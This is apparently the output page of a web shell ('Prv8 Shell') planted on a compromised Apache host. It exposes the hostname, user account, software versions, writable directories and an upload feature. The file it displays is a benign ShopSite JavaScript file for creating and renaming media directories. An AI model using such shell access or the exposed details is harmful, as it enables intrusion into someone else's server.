Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/public_html/shopsite-images/en-ZA/javascript/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/public_html/shopsite-images/en-ZA/javascript/images/media_dir.js

/*************************************************************************
 *
 * Functions for creating and renaming media directories
 *
 *************************************************************************/

function set_focus(field_id)
{
  var element= document.getElementById(field_id);
  element.focus();
}

function enter_key_pressed(e)
{
  if (e == undefined)
    e = window.event;
  
  if (e != undefined)
  {
    if (e.keyCode == 13)
    {
      var dirname = document.getElementById('dirname');

      if (check_dirname(dirname, null))
        do_media_directory();
      else
        return false;
    }
  }
}

function check_dirname(dirname, newname)
{
  var parts = media_path.split(gsSlash);
  var not_allowed = false;

  if (newname != null) // renaming vs. creating a directory
  {
    if (newname.value.length == 0)
    {
      alert(cf_msg7);
      newname.focus();
      return false;
    }
    
    dirname = newname;
  }

  if (dirname.value.length > 0)
  {
    if (dirname.value.match(/[^a-zA-Z0-9\-._]/g) != null)
    {
      var msg = cf_msg1 + '\n';
      msg += cf_msg2 + '  ';
      msg += cf_msg3 + '\n';
      
      alert(msg);
      dirname.focus();
      return false;
    }

    if (dirname.value.charAt(0) == '.')
    {
      alert(cf_msg4);
      dirname.focus();
      return false;
    }

    if (parts[0] == 'media')
    {
      if (dirname.value == 'media')
      {
        if (newname != null)  // renaming
          not_allowed = parts.length <= 2;
        else
          not_allowed = parts.length < 2;
      }
    }
    
    if (not_allowed)
    {
      alert(cf_msg5);
      dirname.focus();
      return false;
    }
  }

  return true;
}

function do_media_directory()
{
  var dirname = document.getElementById('dirname');
  var newname = document.getElementById('newname');

  if (check_dirname(dirname, newname))
  {
    var subsystem = document.getElementById('subsystem');
    var form = document.getElementById('mediam');

    var operation = newname != null? '?rename_directory=' : '?create_directory=';
    var url = form.action + operation + encodeURIComponent(dirname.value);

    if (newname != null)
      url += '&newname=' + encodeURIComponent(newname.value);

    url += '&media_path=' + encodeURIComponent(media_path);
    url += '&subsystem=' + subsystem.value;
    url += '&sid=' + Math.random();

    xmlHttp = GetXmlHttpObject();
    xmlHttp.onreadystatechange = media_directory_results;
    xmlHttp.open("GET", url, false); // synchronous
    xmlHttp.send(null);
  }
}

function media_directory_results()
{
  if (xmlHttp.readyState == 4 || xmlHttp.readyState == 'complete')
  {
    var response = xmlHttp.responseText;
    var parts = response.split(':');

    if (parts[0] == 'fail')
    {
      var dirname = document.getElementById('dirname');
      var newname = document.getElementById('newname');

      if (newname != null)
        dirname = newname;

      alert(parts[1]);
      dirname.focus();
      return false;
    }
    else
    {
      var form = document.getElementById('mediam');
      form.action += '?Cancel.x';
      form.submit();
    }
  }
}


/*************************************************************************
 *
 * AJAX
 *
 *************************************************************************/

var xmlHttp = null;

function GetXmlHttpObject()
{
  try
  {
    xmlHttp = new XMLHttpRequest();
  }
  catch(e)
  {
    try
    {
      xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
    }
    catch(e)
    {
      xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
  }

  return xmlHttp;
}


haha - 2025